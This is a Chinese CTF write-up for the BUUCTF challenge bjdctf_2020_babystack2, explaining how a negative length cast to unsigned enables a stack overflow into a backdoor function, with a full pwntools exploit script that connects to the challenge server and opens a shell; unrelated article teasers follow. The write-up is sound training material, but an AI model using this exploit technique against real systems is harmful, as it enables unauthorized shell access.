news 2026/5/8 21:43:28

buuctf中的bjdctf_2020_babystack2

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的bjdctf_2020_babystack2

首先checksec检查一下保护机制:

-64位程序

-开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现read函数可触发栈溢出,并且从左边发现存在后门函数,但是read读取的长度受到nbytes这个变量的限制,发现这个变量的数据类型在下面被转化为unsigned int即无符号整数类型,当我们将-1转化为unsigned int类型时,会变成unsigned int的最大值,所以在上面我们只需要输入-1即可在下面触发栈溢出,这里顺便算出偏移量为:0x10+0x8 = 24

backdoor函数内部:

拿到backdoor函数地址:0x400726

然后编写exp攻击脚本:

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',28893) # 与在线环境交互。 backdoor = 0x400726 offset = 0x10 + 0x8 io.recvuntil(b'[+]Please input the length of your name:\n') io.sendline(b'-1') io.recvuntil(b'[+]What\'s u name?\n') payload = b'a'*offset + p64(backdoor) io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后手动输入cat flag即可

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/25 13:49:44

buuctf中的jarvisoj_fm

首先checksec检查保护机制:-32位程序-开启了栈溢出保护和栈不可执行保护接下来使用反汇编工具IDA进行分析:发现没有后门函数,不过有printf函数,可触发格式化字符串漏洞,再看下面,只要让x的值等于4&#xff…

作者头像 李华
网站建设 2026/5/8 4:55:03

手把手教你认识逻辑门:从与或非开始

从零开始搞懂逻辑门:与、或、非的硬核实战解析你有没有想过,手机里每一条消息、电脑中每一次点击,背后其实都是一群“0”和“1”在疯狂打架?而这场战斗的最小作战单位,就是——逻辑门。别被这个名字吓到。它听起来高深…

作者头像 李华
网站建设 2026/5/2 7:33:52

红外遥控解码:基于Arduino Uno的入门级实验

从遥控器到代码:用Arduino解码红外信号的完整实践 你有没有想过,当你按下电视遥控器的“电源”键时,那一道看不见的红外光是如何被识别并执行命令的?这看似简单的操作背后,其实是一套精密设计的通信协议在默默工作。今…

作者头像 李华
网站建设 2026/5/4 7:29:39

跨平台模组下载神器WorkshopDL:免Steam账号畅享创意工坊

跨平台模组下载神器WorkshopDL:免Steam账号畅享创意工坊 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为Epic平台游戏无法使用Steam创意工坊模组而烦恼吗&…

作者头像 李华
网站建设 2026/5/7 23:45:03

川渝低空“跨省通”来了!“协同机制+三大通道”正式发布

当千年石刻文化遇见低空经济,巴蜀文旅融合揭开新篇章。 同时,巴蜀低空文旅走廊第二站——“川渝石窟寺国家遗址公园试飞”成功举行,完成了川渝首条跨省(直辖市)域低空文旅航线试飞,为川渝共建低空文化走廊、…

作者头像 李华
网站建设 2026/4/18 10:05:43

完整鸣潮自动化工具:简单智能的游戏助手

完整鸣潮自动化工具:简单智能的游戏助手 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸上锁合成 自动肉鸽 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves 还在为鸣潮中繁琐的重…

作者头像 李华